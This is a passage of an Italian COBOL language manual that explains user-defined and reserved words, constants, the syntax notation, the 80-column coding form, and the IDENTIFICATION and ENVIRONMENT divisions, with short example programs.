Una parola definita dall'utente è una parola COBOL che deve essere fornita per soddisfare la sintassi di un'istruzione. Tale parola può essere composta utilizzando soltanto le lettere alfabetiche maiuscole, le cifre numeriche e il trattino ('**-**'), tenendo conto che il trattino non può trovarsi all'inizio o alla fine di tali parole. Si osservi che in alcuni casi le parole sono costituite esclusivamente da cifre numeriche, mentre in tutti gli altri, le parole devono iniziare con una lettera alfabetica.

Tabella 83.6. Classificazione parziale delle parole definite dall'utente.

Definizione tradizionale	Descrizione
condition-name	Il «nome di condizione» è un nome al quale viene assegnato un valore o un insieme di valori o un intervallo di valori, scelti fra tutti quelli che una variabile può assumere. La variabile stessa viene chiamata «variabile di condizione». I nomi di condizione vengono definiti nella divisione '**DATA DIVISION**'. Un nome di condizione può essere usato solo nelle espressioni condizionali, dove viene trattato come un'abbreviazione di una condizione di relazione. Il valore restituito dal nome di condizione è *Vero* se il valore della variabile di condizione associata è uguale a uno di quei valori che sono stati assegnati al nome di condizione.

Definizione tradizionale	Descrizione
data-name	Si tratta del nome di una variabile descritta nella divisione '`DATA DIVISION`'. Una variabile di questo tipo rappresenta normalmente un componente che non può essere suddiviso ulteriormente.
file-name	Si tratta del nome di un file descritto all'interno della divisione '`DATA DIVISION`' e può appartenere sia alla sezione '`FD`' (*File description*), sia alla sezione '`SD`' (*Sort description*).
index-name	Si tratta del nome di un indice associato a una certa tabella, usato per selezionare una voce dalla tabella stessa. Un nome di questo tipo si dichiara nella divisione '`DATA DIVISION`'.
level-number	Si tratta di un numero che indica la posizione nella struttura gerarchica di un record logico, oppure di un numero speciale che rappresenta convenzionalmente delle proprietà speciali di una variabile. Il numero di livello è espresso esclusivamente con una o due cifre numeriche; inoltre, i numeri che vanno da 01 a 49 indicano la posizione in un record, mentre i numeri 66, 77 e 88 identificano proprietà speciali. Normalmente il numero di livello si scrive sempre utilizzando due cifre, aggiungendo eventualmente uno zero iniziale. Il numero di livello si usa nella divisione '`DATA DIVISION`'.
library-name	Si tratta di un nome che serve a individuare una libreria di sorgenti COBOL, da usare per importare codice contenuto in altri file.
mnemonic-name	Si tratta di un nome che fa riferimento a qualcosa, che dipende dall'ambiente in cui si vuole compilare o eseguire il programma. Questo tipo di parole si usa nella divisione '`ENVIRONMENT DIVISION`', precisamente nel paragrafo '`SPECIAL-NAMES`', con lo scopo di poter sostituire facilmente tali associazioni, senza intervenire in altre parti del programma.
paragraph-name	Si tratta del nome che dichiara l'inizio di un paragrafo nella divisione '`PROCEDURE DIVISION`'.
program-name	Si tratta del nome del programma sorgente, come specificato nella divisione '`IDENTIFICATION DIVISION`'.
record-name	Si tratta del nome di un record di un file. Associando idealmente il file a una tabella di dati, il record equivale alla riga di tale tabella. La dichiarazione dei record avviene nella divisione '`DATA DIVISION`'.
section-name	Si tratta del nome che delimita l'inizio di una sezione nella divisione '`PROCEDURE DIVISION`'.
text-name	Si tratta del nome di identificazione di un componente all'interno della libreria di sorgenti.

Tutte le parole definite dall'utente, a esclusione dei numeri di livello, possono appartenere soltanto a uno dei vari raggruppamenti previsti e devono essere uniche; tuttavia, in alcuni casi è prevista la possibilità di «qualificare» dei nomi, che non sono univoci, in modo da attribuirli al loro contesto preciso (sezione 83.8.3).

83.1.3.5 Parole riservate

Le parole riservate sono quelle parole del linguaggio che fanno parte di un elenco prestabilito e che hanno un significato speciale. Queste parole sono classificate in gruppi in base al loro utilizzo.

Tabella 83.7. Classificazione sintetica delle parole riservate.

Classificazione	Descrizione
parole chiave	Una parola chiave è una parola riservata la cui presenza è richiesta all'interno di un'istruzione (al contrario di altre che possono essere usate soltanto per migliorare l'estetica o la leggibilità delle istruzioni). Le parole chiave devono essere inserite per specificare quel tipo di istruzione.
parole opzionali	Una parola opzionale è una parola riservata facoltativa, che si può usare nelle istruzioni per facilitarne la lettura. La parola opzionale non è obbligatoria, ma se usata va applicata secondo la sintassi prevista.
registri speciali	Una registro speciale identifica un'area di memoria con funzioni speciali. I registri speciali dipendono generalmente dalle caratteristiche del compilatore e non sono standard.
costanti figurative	Una costante figurativa è un nome che identifica un certo valore costante, come alternativa alla rappresentazione letterale.
parole di caratteri speciali	Alcuni caratteri speciali, nell'ambito del contesto appropriato, possono essere rappresentati attraverso parole particolari. Si tratta precisamente degli operatori di relazione.

83.1.3.6 Costanti figurative

Per fare riferimento a valori costanti specifici si possono usare alcune parole riservate, note come costanti figurative. Di queste parole chiave esistono sia versioni al singolare, sia al plurale, ma rappresentano sempre la stessa cosa, ovvero un valore singolo o un valore ripetuto, in base al contesto.

Tabella 83.8. Costanti figurative.

Nome	Descrizione

`ZERO`
`ZEROS`
`ZEROES`
	Rappresenta il valore numerico zero o la stringa '`0`' ripetuta più volte.

`SPACE` `SPACES`	Rappresenta uno o più spazi bianchi.
`HIGH-VALUE` `HIGH-VALUES`	Rappresenta uno o più caratteri con un «valore massimo», in base a qualche criterio, legato alla sequenza di collazione (*collating sequence*) o alla codifica. Generalmente si tratta del valore FF_{16}.
`LOW-VALUE` `LOW-VALUES`	Rappresenta uno o più caratteri con un «valore minimo», in base a qualche criterio, legato alla sequenza di collazione (*collating sequence*) o alla codifica. Generalmente si tratta del valore 00_{16}.
`QUOTE` `QUOTES`	Rappresenta una o più virgolette. Questa costante figurativa non può sostituire le virgolette che delimitano le costanti alfanumeriche.
`ALL` ***valore***	Rappresenta la ripetizione indefinita del valore indicato. Tale valore può essere specificato anche attraverso una costante letterale o una costante figurativa.

83.1.3.7 Parole di caratteri speciali

Gli operatori di relazione si possono rappresentare con i simboli previsti ('<', '>', e '=') oppure attraverso parole speciali, ovvero «parole di caratteri speciali», note come *special character word*. La tabella successiva riepiloga l'uso degli operatori di relazione, in tutte le loro forme.

Tabella 83.9. Modelli sintattici per l'uso degli operatori di relazione.

Operatore	Descrizione
`IS [NOT] GREATER THEN` `--- -------`	maggiore di, non maggiore di
`IS [NOT] >` `--- -`	maggiore di, non maggiore di
`IS [NOT] LESS THEN` `--- ----`	minore di, non minore di
`IS [NOT] <` `--- -`	minore di, non minore di
`IS [NOT] EQUAL TO` `--- -----`	uguale a, diverso da
`IS [NOT] =` `--- -`	uguale a, diverso da
`IS GREATER THAN OR EQUAL TO` `------- -- -----`	maggiore o uguale a
`IS >=` `--`	maggiore o uguale a
`IS LESS THAN OR EQUAL TO` `---- -- -----`	minore o uguale a
`IS <=` `--`	minore o uguale a

83.1.3.8 Rappresentazione delle costanti

Le costanti possono essere stringhe di caratteri, il cui valore è implicito in base ai caratteri di cui sono composte, oppure sono costanti figurative, che rappresentano un valore in base al significato verbale che hanno. **Una costante può essere di tipo numerico o alfanumerico e non sono previsti altri tipi.**

Una costante numerica letterale è una stringa composta da cifre numeriche ed eventualmente anche dai segni '+', '-' e dal punto per la separazione tra la parte intera e la parte decimale (a meno che il punto sia da sostituire con la virgola, avendone scambiato le funzionalità con un'istruzione apposita). Una costante numerica deve contenere almeno una cifra e ha una dimensione massima di cifre che dipende dal compilatore.

Una costante numerica non può contenere più di un segno. Se viene usato il segno, questo deve collocarsi nella posizione più a sinistra; se non appare alcun segno, il valore si intende positivo.

Una costante numerica non può contenere più di un punto decimale e può apparire in qualunque posizione. Se non viene usato il punto decimale, la costante rappresenta un numero intero.

Se nel paragrafo '**SPECIAL-NAMES**' della divisione '**ENVIRONMENT DIVISION**' è specificata la dichiarazione '**DECIMAL-POINT IS COMMA**', la rappresentazione dei valori numerici avviene scambiando il significato del punto e della virgola (in pratica secondo le convenzioni europee).

Una costante alfanumerica è una stringa di caratteri delimitata da virgolette. La stringa può contenere qualsiasi carattere previsto dalla codifica utilizzata dal compilatore; in generale è ammesso almeno l'uso delle lettere minuscole dell'alfabeto latino.

Per rappresentare le virgolette ('"') all'interno di una stringa si usa il concatenamento con la costante figurativa '**QUOTE**', come nell'esempio seguente:

```
000000 DISPLAY "Il file ", QUOTE, "mio.txt", QUOTE,
000000         " e` impegnato!".
```

Una costante alfanumerica deve contenere almeno un carattere all'interno delle virgolette. La lunghezza massima di un valore alfanumerico dipende dal compilatore, ma in generale dovrebbe essere garantita la rappresentazione di almeno 200 caratteri.

83.1.4 Notazione sintattica

I manuali COBOL adottano generalmente una forma particolare di notazione per descriverne la sintassi, a cui si adegua anche questo.

Nella sintassi le «parole chiave», secondo la definizione del COBOL, sono rappresentate sottolineate, a indicare la loro obbligatorietà, mentre le parole facoltative non sono sottolineate. Nell'esempio seguente, le parole '**IF**', '**NOT**', '**NUMERIC**' e '**ALPHABETIC**' sono parole chiave, mentre la parola '**IS**' è facoltativa:

```
                          /            \
                          | NUMERIC    |
IF identifier IS [NOT]    < -------    >
--                ---     | ALPHABETIC |
                          \ ---------- /
```

Tutte le parole scritte con lettere minuscole rappresentano delle metavariabili sintattiche che devono essere espresse dal programmatore in quella posizione. Nell'esempio precedente appare una sola metavariabile denominata '**identifier**'.

Le parentesi graffe servono a rappresentare la scelta tra alternative differenti. Nell'esempio precedente si deve scegliere tra due parole chiave: '**NUMERIC**' o '**ALPHABETIC**'.

Le parentesi quadre rappresentano parti opzionali di un'istruzione; tuttavia si osservi che non si tratta di «parole facoltative», secondo la definizione del linguaggio COBOL, perché l'uso o meno di tali porzioni di codice implica un risultato differente dell'istruzione.

La presenza di tre punti consecutivi indica che i dati che precedono la notazione possono essere ripetuti successivamente, in funzione delle esigenze del problema che si intende risolvere.

```
MOVE identifier-1 TO identifier-2 ...
----              --
```

Nell'esempio mostrato, i puntini di sospensione indicano che si possono inserire più variabili (precisamente ciò che è rappresentato come ***identifier-2***). In questo caso, il contenuto della prima variabile viene copiato all'interno di tutte quelle che sono annotate dopo la parola chiave '`TO`'.

Quando appare il punto fermo nello schema sintattico, l'istruzione reale deve contenerlo nella stessa posizione relativa.

83.2 Modulo di programmazione

Il linguaggio COBOL nasce quando l'inserimento dei dati in un elaboratore avveniva principalmente attraverso schede perforate, pertanto, da questo derivano delle limitazioni nel modo in cui vanno scritte le sue istruzioni.

Figura 83.13. La scheda perforata classica, da 80 colonne.

Il modulo di programmazione (*coding form*) era un foglio quadrettato che conteneva la guida per la scrittura di un programma, da passare poi a una persona che si incaricava di perforare le schede, copiando il testo di tale modulo. Attualmente strumenti del genere non si usano più, tuttavia occorre sapere che le direttive vanno scritte in uno spazio di colonne prestabilito.

Figura 83.14. Suddivisione delle colonne.

In pratica, il codice COBOL si scrive in un file di testo di 80 colonne, rispettando le convenzioni descritte nella tabella successiva.

Tabella 83.15. Colonne riservate nel codice COBOL.

Colonne	Utilizzo
1..6	Le prime sei colonne servono a indicare un numero di sequenza delle righe. Il numero può essere discontinuo, purché progressivo. Generalmente si utilizzava una sequenza maggiore dell'unità, per consentire l'inserzione successiva di righe ulteriori, che si sarebbero tradotte nell'aggiunta di schede, senza dover perforare nuovamente tutto.
7	La settima colonna serve a inserire un simbolo «indicatore». Generalmente si tratta dell'asterisco, per specificare che si tratta di una riga di commento, del trattino per la continuazione delle stringhe, oppure di una barra obliqua per richiedere un salto pagina in fase di stampa del sorgente.
8..11	Le colonne dall'ottava all'undicesima rappresentano l'«area A», nella quale devono iniziare le dichiarazioni più importanti.
12..72	Le colonne dalla dodicesima alla settantaduesima rappresentano l'«area B», nella quale si mettono tutte le direttive che non possono partire dall'area A.
73..80	Le ultime otto colonne sono riservate per inserire un'etichetta facoltativa di identificazione del programma.

83.2.1 Indicatore

La settima colonna serve per diverse funzioni, distinte in base alla presenza di un simbolo speciale; se in questa colonna si trova uno spazio, la riga viene usata per le funzioni normali. La tabella successiva riepiloga i simboli che possono apparire nella settima colonna e come questi dovrebbero essere interpretati dal compilatore.

Indicatore	Descrizione
`$`	Il dollaro viene usato per specificare delle opzioni in fase di compilazione.
`*`	L'asterisco stabilisce che, la riga in cui appare, contiene un commento che il compilatore deve ignorare completamente. Il commento può essere collocato solo nello spazio complessivo dell'area A e B, ovvero dalla colonna 8 alla colonna 72.
`/`	La barra obliqua serve a richiedere un salto pagina quando gli strumenti di compilazione vengono usati per stampare il sorgente. Ciò che dovesse apparire nell'area A e B di una riga che ha la barra obliqua nella settima colonna viene considerato come un commento.
`D`	La lettera '**`D`**' serve a indicare al compilatore che la riga in questione deve essere presa in considerazione solo se l'opzione '**`WITH DEBUGGING`**' viene utilizzata nel paragrafo '**`SOURCE COMPUTER`**'; in caso contrario la riga deve essere trattata come un commento.
`-`	Un trattino indica che, sulla riga precedente, l'ultima parola o costante non è completa, ma continua sulla riga in cui appare il trattino stesso.

Per quanto riguarda la continuazione di parole e di costanti numeriche su più righe, il troncamento può avvenire in qualsiasi punto, mettendo un trattino nella settima colonna della riga successiva, continuando lì la parola o la costante, a partire dalla colonna 12 fino alla colonna 72 (area B). Gli spazi finali nella riga interrotta e quelli iniziali della riga che riprende, vengono ignorati.

Le costanti alfanumeriche delimitate da virgolette, si separano in modo differente. Sulla riga spezzata, si considerano tutte le informazioni dalle virgolette di apertura fino alla colonna 72

inclusa, mentre nella riga successiva, la costante deve riprendere aggiungendo altre virgolette di apertura.

Si osservi che ci sono compilatori che si limitano a riconosce solo l'asterisco per i commenti, ignorando tutto il resto. Per questo motivo, è bene evitare l'uso di ogni altro simbolo in questa colonna, quando si vuole scrivere un programma abbastanza compatibile, tenendo conto che si può evitare la continuazione nella riga successiva, perché le istruzioni possono collocarsi su più righe senza spezzare le parole, mentre le costanti alfanumeriche si possono dividere in porzioni più piccole da concatenare.

83.2.2 Area A e area B

Le intestazioni dei paragrafi, delle sezioni e delle divisioni devono iniziare nell'area A. L'intestazione di una divisione consiste nel nome della divisione ('**`IDENTIFICATION`**', '**`ENVIRONMENT`**', '**`DATA`**' o '**`PROCEDURE`**'), seguito da uno spazio bianco e dalla parola '**`DIVISION`**', seguita a sua volta da un punto fermo. L'intestazione di una sezione consiste di un nome di sezione seguito da uno spazio bianco e dalla parola '**`SECTION`**', seguita a sua volta da un punto fermo. L'intestazione di un paragrafo consiste di un nome di paragrafo seguito da un punto fermo e da uno spazio bianco; il primo gruppo di istruzioni del paragrafo può apparire anche sulla stessa riga.

All'interno delle divisioni '**`IDENTIFICATION DIVISION`**' e '**`ENVIRONMENT DIVISION`**', le sezioni e i paragrafi sono fissi e sono ammessi solo i nomi previsti espressamente, mentre nella divisione '**`PROCEDURE DIVISION`**' i nomi dei paragrafi e delle sezioni sono stabiliti liberamente.

All'interno della divisione '**`DATA DIVISION`**', le sezioni '**`FD`**' e '**`SD`**', così come i numeri di livello 01 e 77, devono iniziare nell'area A, mentre gli altri numeri di livello devono iniziare nell'area B.

Nell'area B inizia tutto quello che non può iniziare nell'area A.

83.2.3 Interpunzione

La scrittura di un programma COBOL è sottoposta alle regole seguenti che riguardano l'uso dei caratteri di interpunzione.

- Un gruppo di istruzioni termina con un punto seguito da uno spazio bianco. Un punto può apparire in un'altra posizione solo se fa parte di una costante alfanumerica, se si tratta del punto decimale di una costante numerica o se viene usato in un modello di definizione di una variabile ('**`PICTURE`**').
- Una virgola può essere usata fra le istruzioni per facilitare la leggibilità del programma; diversamente, una virgola può apparire solo dove indicato nello schema sintattico. **L'uso delle virgole non è obbligatorio.**
- Il punto e virgola può essere usato al posto della virgola.
- Uno spazio delimita sempre una parola o una costante, a meno che tale spazio sia parte di una costante alfanumerica. Lo spazio inteso come delimitatore può essere ridondante; inoltre, quando il testo di un'istruzione termina esattamente alla fine dell'area B (colonna 72), lo spazio successivo viene a mancare.

Listato 83.17. Un esempio preso da un programma sorgente, dove si mette in evidenza come si continua una parola o una costante alfanumerica nella riga successiva.

```
000100 IDENTIFICATION DIVISION.                                         ESEMPIO0
000200                                                                  ESEMPIO0
000300 PROGRAM-ID.   ESEMPIO0.                                          ESEMPIO0
000400 AUTHOR.       DANIELE GIACOMINI.                                 ESEMPIO0
000500 DATE-WRITTEN. 2005-02-13.                                        ESEMPIO0
000600                                                                  ESEMPIO0
000700                                                                  ESEMPIO0
000800 ENVIRONMENT DIVISION.                                            ESEMPIO0
000900                                                                  ESEMPIO0
001000 INPUT-OUTPUT SECTION.                                            ESEMPIO0
001100                                                                  ESEMPIO0
001200 FILE-CONTROL.                                                    ESEMPIO0
001300                                                                  ESEMPIO0
001400     SELECT FILE-DA-LEGGERE ASSIGN TO DISK                        ESEMPIO0
001500                            ORGANIZATION IS SEQUENTIAL.           ESEMPIO0
001600                                                                  ESEMPIO0
001700 DATA DIVISION.                                                   ESEMPIO0
001800                                                                  ESEMPIO0
001900 FILE SECTION.                                                    ESEMPIO0
002000                                                                  ESEMPIO0
002100 FD  FILE-DA-LEGGERE                                              ESEMPIO0
002200     LABEL RECORD IS STANDARD                                     ESEMPIO0
002300     VALUE OF FILE-ID IS "input.txt".                             ESEMPIO0
002400                                                                  ESEMPIO0
002500 01  RECORD-DA-LEGGERE PIC X(30).                                 ESEMPIO0
002600                                                                  ESEMPIO0
002700 WORKING-STORAGE SECTION.                                         ESEMPIO0
002800 01  EOF               PIC 9   VALUE ZERO.                        ESEMPIO0
002900/                                                                 ESEMPIO0
003000 PROCEDURE DIVISION.                                              ESEMPIO0
003100*                                                                 ESEMPIO0
003200* Qui inizia il paragrafo "MAIN".                                 ESEMPIO0
003300*                                                                 ESEMPIO0
003400 MAIN.                                                            ESEMPIO0
003500     OPEN INPUT FILE-DA-LEG                                       ESEMPIO0
003600-               GERE.                                             ESEMPIO0
003700     READ FILE-DA-LEG                                             ESEMPIO0
003800-         GERE                                                    ESEMPIO0
003900          AT END                                                  ESEMPIO0
004000                MOVE 1 TO EOF.                                    ESEMPIO0
004100     DISPLAY "Ho aperto il file input.txt e sto per emettere il suESEMPIO0
004200-            "o contenuto sullo schermo:".                        ESEMPIO0
004300     PERFORM LETTURA UNTIL EOF = 1.                               ESEMPIO0
004400     CLOSE FILE-DA-LEGGERE.                                       ESEMPIO0
004500                                                                  ESEMPIO0
004600     STOP RUN.                                                    ESEMPIO0
004700*                                                                 ESEMPIO0
004800* Qui inizia un altro paragrafo.                                  ESEMPIO0
004900*                                                                 ESEMPIO0
005000 LETTURA.                                                         ESEMPIO0
005100     DISPLAY RECORD-DA-LEGGERE.                                   ESEMPIO0
```

```
005200     READ FILE-DA-LEGGERE                                         ESEMPIO0
005300          AT END                                                  ESEMPIO0
005400                MOVE 1 TO EOF.                                    ESEMPIO0
005500/                                                                 ESEMPIO0
```

Figura 83.18. Esempio di un modulo di programmazione COBOL.

83.3 Divisione «IDENTIFICATION DIVISION»

La divisione '**`IDENTIFICATION DIVISION`**' costituisce la prima parte di un programma COBOL. Il suo scopo è quello di contenere delle informazioni sul programma, secondo una classificazione ben stabilita. Le informazioni tipiche che si inseriscono in questa divisione sono il nome del programma (nome che non coincide necessariamente con il nome del file che contiene il sorgente), il nome dell'autore, la data di scrittura del programma, la data di compilazione.

83.3.1 Struttura

La struttura della divisione '**`IDENTIFICATION DIVISION`**' è sintetizzabile nello schema sintattico seguente:

```
 IDENTIFICATION DIVISION.
 -----------------------
[PROGRAM-ID. program-name].
 ----------
[AUTHOR. [comment-entry]...].
 ------
[INSTALLATION. [comment-entry]...].
 ------------
[DATE-WRITTEN. [comment-entry]...].
 ------------
[DATE-COMPILED. [comment-entry]...].
 -------------
[SECURITY. [comment-entry]...].
 --------
```

La divisione deve iniziare scrivendo '**`IDENTIFICATION DIVISION`**' a partire dall'area A, ricordando di aggiungere il punto fermo finale.

Tutti i nomi di paragrafo di questa divisione devono iniziare nell'area A e devono terminare con un punto fermo.

Il nome del programma (***program-name***) deve essere una parola COBOL e serve a identificare il programma sorgente, ma non corrisponde necessariamente al nome del file su disco che contiene il sorgente.

Le voci di commento (***comment-entry***), secondo lo schema sintattico, possono essere costituite da una sequenza qualunque di caratteri e possono occupare anche più righe, senza bisogno di indicare il simbolo di continuazione nella settima colonna, avendo cura però di utilizzare per tali voci solo l'area B e di terminarle comunque con un punto fermo.

La data di compilazione è, o dovrebbe essere, posta automaticamente dal compilatore, quando è prevista la stampa del sorgente da parte di questo strumento.

A parte il caso della data di compilazione, che dovrebbe essere fornita dal compilatore, tutte le altre informazioni rimangono invariate.

83.3.2 Codifica della divisione

Il listato successivo dà un'idea di come può essere codificata la divisione '**IDENTIFICATION DIVISION**'.

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.     PROVA-INTESTAZIONE.
000300 AUTHOR.         DANIELE GIACOMINI.
000400 INSTALLATION.   NANOLINUX IV,
000500                 TINYCOBOL 0.61,
000600                 OPENCOBOL 0.31.
000700 DATE-WRITTEN.   2005-02-14.
000800 DATE-COMPILED.
000900 SECURITY.       SEGRETISSIMO, LIVELLO III.
001000*
001100 ENVIRONMENT DIVISION.
001200 DATA DIVISION.
001300 PROCEDURE DIVISION.
001400 MAIN.
001500     DISPLAY "CIAO A TUTTI!".
001600     STOP RUN.
```

83.4 Divisione «ENVIRONMENT DIVISION»

La divisione '**ENVIRONMENT DIVISION**' costituisce la seconda parte di un programma COBOL. La divisione si compone di due sezioni: '**CONFIGURATION SECTION**' e '**INPUT-OUTPUT SECTION**'.

La sezione '**CONFIGURATION SECTION**' serve per indicare delle informazioni relative all'elaboratore usato per la compilazione del programma sorgente e a quello nel quale deve essere eseguito il programma, una volta compilato; inoltre, questa sezione permette di stabilire delle sostituzioni, come nel caso della virgola al posto del punto per separare la parte intera di un numero dalla parte decimale.

La sezione '**INPUT-OUTPUT SECTION**' serve per associare i file usati dal programma con le unità fisiche relative, a indicare le caratteristiche di tali file e a stabilire altri aspetti dello scambio di dati.

83.4.1 Struttura

La struttura della divisione '**ENVIRONMENT DIVISION**' è sintetizzabile nello schema sintattico seguente:

```
   ENVIRONMENT DIVISION.
.----------------------                   --.
|  CONFIGURATION SECTION.                   |
|  ---------------------                    |
| [SOURCE-COMPUTER. source-computer-entry]. |
|  ---------------                          |
| [OBJECT-COMPUTER. object-computer-entry]. |
|  ---------------                          |
| [SPECIAL-NAMES. special-names-entry].     |
'---------------                          --'
.--                                           --.
|  INPUT-OUTPUT SECTION.                        |
|  --------------------                         |
|  FILE-CONTROL. file-control-entry...          |
|  ------------                                 |
| [I-O-CONTROL. input-output-control-entry...]. |
'-----------                                  --'
```

83.4.2 Sezione «CONFIGURATION SECTION»

La sezione '**CONFIGURATION SECTION**' contiene le informazioni sul sistema usato per la compilazione del programma (nel paragrafo '**SOURCE-COMPUTER**'), il sistema nel quale il programma deve essere eseguito (nel paragrafo '**OBJECT-COMPUTER**') e il paragrafo '**SPECIAL-NAMES**' che consente di effettuare alcune sostituzioni a dei valori che altrimenti resterebbero al loro stato predefinito.

```
 CONFIGURATION SECTION.
 ---------------------
[SOURCE-COMPUTER. source-computer-entry].
 ---------------
[OBJECT-COMPUTER. object-computer-entry].
 ---------------
[SPECIAL-NAMES. special-names-entry].
 -------------
```

83.4.2.1 Paragrafo «SOURCE-COMPUTER»

Il paragrafo '**SOURCE-COMPUTER**' identifica l'elaboratore presso il quale si intende compilare il programma. Si utilizza secondo lo schema sintattico seguente:

```
SOURCE-COMPUTER. computer-name [WITH DEBUGGING MODE].
---------------                      --------------
```

Al posto della metavariabile ***computer-name*** deve essere indicata una parola COBOL, che serve solamente a titolo informativo nel sorgente. Se si specifica l'opzione '**DEBUGGING MODE**' si richiede al compilatore di prendere in considerazione, nel sorgente, tutte le righe annotate con la lettera '**D**' nella settima colonna e le istruzioni '**USE FOR DEBUGGING**', che altrimenti verrebbero semplicemente ignorate.

83.4.2.2 Paragrafo «OBJECT-COMPUTER»

Il paragrafo '**OBJECT COMPUTER**' identifica l'elaboratore presso il quale deve essere utilizzato il programma, una volta compilato. Lo schema sintattico per l'utilizzo di questo paragrafo è quello seguente:

```
OBJECT-COMPUTER. computer-name... .
----------------
```

Il nome dell'elaboratore (*computer name*) deve essere una parola COBOL e ha un significato puramente informativo. Alla fine dell'indicazione dell'ultimo nome, deve apparire un punto fermo.

83.4.2.3 Paragrafo «SPECIAL-NAMES»

Il paragrafo '**SPECIAL-NAMES**' serve ad associare un valore a dei nomi prestabiliti, quando si vuole che la funzione loro associata sia diversa da quella predefinita, oppure ad attribuire un «nome mnemonico» a un nome usato dal compilatore, che però non fa parte dello standard. Le dichiarazioni che possono apparire in questo paragrafo dipendono molto dalle caratteristiche del compilatore; quello che si vede nello schema sintattico seguente è il minimo che dovrebbe essere disponibile nella maggior parte dei casi:

```
SPECIAL-NAMES.
--------------
    implementor-name IS mnemonic-name
                     --
    [CURRENCY SIGN IS literal]
     --------      --
    [DECIMAL-POINT IS COMMA].
     -------------    -----
```

Si utilizza la dichiarazione '**CURRENTY SIGN IS**' per fissare il simbolo predefinito da usare come segno di valuta; si usa la dichiarazione '**DECIMAL-POINT IS COMMA**' per rappresentare i valori numerici secondo la forma europea, dove la virgola indica la separazione tra la parte intera e quella decimale.

Il segno di valuta può essere costituito da un solo carattere e sono molto pochi i simboli che si possono usare. Per la precisione, sono esclusi tutti i simboli che invece possono essere usati nei modelli di definizione delle variabili oltre a quelli che si usano come delimitatori. In linea di massima sono da escludere: tutte le cifre numeriche (da '**0**' a '**9**'); lo spazio; le lettere alfabetiche '**A**', '**B**', '**C**', '**D**', '**J**', '**L**', '**N**', '**P**', '**R**', '**S**', '**V**', '**X**', '**Z**'; i caratteri speciali '*****', '**+**', '**-**', '**,**', '**.**', '**;**', '**%**', '**(**', '**)**', '**"**', '**?**'.

Si osservi che anche nel modello di definizione di una variabile ('**PICTURE**'), quando si usa la dichiarazione '**DECIMAL-POINT IS COMMA**', il punto e la virgola si scambiano i ruoli.

L'esempio seguente mostra un pezzo di programma in cui si vede l'uso di queste opzioni. Per la precisione, si assegna la lettera «E» per rappresentare la valuta:

```
000000 ENVIRONMENT DIVISION.
000000 CONFIGURATION SECTION.
000000 SPECIAL-NAMES. DECIMAL-POINT IS COMMA
000000                CURRENCY SIGN IS "E".
```

L'attribuzione di un nome mnemonico a una parola non standard che però fa parte delle funzionalità specifiche del compilatore utilizzato, consente di limitare a questa sezione le modifiche per l'adattamento del programma a un compilatore che ha funzioni simili, ma descritte da parole diverse. Nell'esempio seguente, compilabile con OpenCOBOL, si sostituisce la parola '**CONSOLE**' con '**STANDARD-INPUT**', per identificare la fonte dei dati in ingresso per l'istruzione '**ACCEPT**':

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   TEST-ACCEPT.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 DATE-WRITTEN. 2005-02-27.
000500*
000600 ENVIRONMENT DIVISION.
000700 CONFIGURATION SECTION.
000800 SOURCE-COMPUTER.
000900     OPENCOBOL.
001000 SPECIAL-NAMES.
001100     CONSOLE IS STANDARD-INPUT.
001200*
001300 DATA DIVISION.
001400*
001500 WORKING-STORAGE SECTION.
001600 77  MESSAGGIO            PIC X(30).
001700*
001800 PROCEDURE DIVISION.
001900*
002000 MAIN.
002100     DISPLAY "INSERISCI IL MESSAGGIO".
002200     ACCEPT MESSAGGIO FROM STANDARD-INPUT.
002300     DISPLAY "HAI INSERITO: ", MESSAGGIO.
002400*
002500     STOP RUN.
002600*
```

Nell'esempio appena mostrato sono evidenziate le righe più importanti per la comprensione del meccanismo; si può comprendere che l'istruzione '**ACCEPT**' avrebbe potuto essere scritta semplicemente così:

```
002200     ACCEPT MESSAGGIO FROM CONSOLE.
```

Tuttavia, avendo utilizzato il nome mnemonico '**STANDARD-INPUT**', se con un altro compilatore la console fosse identificata dalla sigla '**SPO**' (*Supervisory printer output*, come avveniva nel COBOL CMS (*Computer management system* della Burroughs negli anni 1980), basterebbe modificare la dichiarazione iniziale:

```
001000 SPECIAL-NAMES.
001100     SPO IS STANDARD-INPUT.
```

Per chiarezza, è il caso di sottolineare che '**STANDARD-INPUT**' ha valore per il compilatore solo in quanto viene dichiarato come nome mnemonico, dal momento che il linguaggio, nella sua veste ufficiale, non prevede la gestione dei flussi standard dei sistemi Unix.

83.4.3 Sezione «INPUT-OUTPUT SECTION»

La sezione '**INPUT-OUTPUT SECTION**' si suddivide in due paragrafi: '**FILE-CONTROL**' e '**I-O-CONTROL**'. Il paragrafo '**FILE-CONTROL**' specifica l'organizzazione e l'accesso dei file che vengono usati dal programma e le informazioni correlate a tali file; il paragrafo '**I-O-CONTROL**' serve a specificare informazioni aggiuntive sui file già dichiarati nell'altro paragrafo.

```
 INPUT-OUTPUT SECTION.
 --------------------
 FILE-CONTROL. file-control-entry...
 ------------
[I-O-CONTROL. input-output-control-entry...].
 -----------
```

83.4.3.1 Paragrafo «FILE-CONTROL»

Il paragrafo '**FILE-CONTROL**' serve a dichiarare i file utilizzati dal programma e a definire alcune loro caratteristiche. Tutti i file dichiarati nel paragrafo '**FILE-CONTROL**' devono essere descritti nella divisione '**DATA DIVISION**'; nello stesso modo, tutti i file descritti nella divisione '**DATA DIVISION**', devono essere dichiarati nel paragrafo '**FILE-CONTROL**'.

Il linguaggio COBOL prevede una gestione dei file molto sofisticata, anche se non è detto che i compilatori mettano a disposizione sempre tutte le funzionalità standard. Si distinguono generalmente i tipi, in base alla loro «organizzazione», come sintetizzato nella tabella successiva.

Per il linguaggio COBOL i file sono sempre composti da record, pertanto l'accesso a un file si riferisce sempre a dei record.

Tabella 83.31. Classificazione dei file in base all'organizzazione.

Organizzazione	Descrizione
sequenziale	Il file sequenziale consente un accesso ai record in modo seriale, dal primo all'ultimo. Generalmente, si dichiara un accesso sequenziale ai file quando l'unità di memorizzazione nella quale sono memorizzati è per sua natura sequenziale, come per i nastri magnetici.
relativa (*relative*)	Si tratta di un file ad accesso diretto, dove i record si possono raggiungere specificandone il numero, a partire da uno, avendo anche la possibilità di richiedere qualche spostamento relativo rispetto al record attuale.
a indice	Si tratta di un file associato a un indice dei record. Attraverso l'indice è possibile raggiungere direttamente i record associati, senza bisogno di eseguire delle scansioni di ricerca.

L'organizzazione del file definisce le potenzialità di accesso, ma in generale sono disponibili diverse varianti nel modo particolare di accedere ai record.

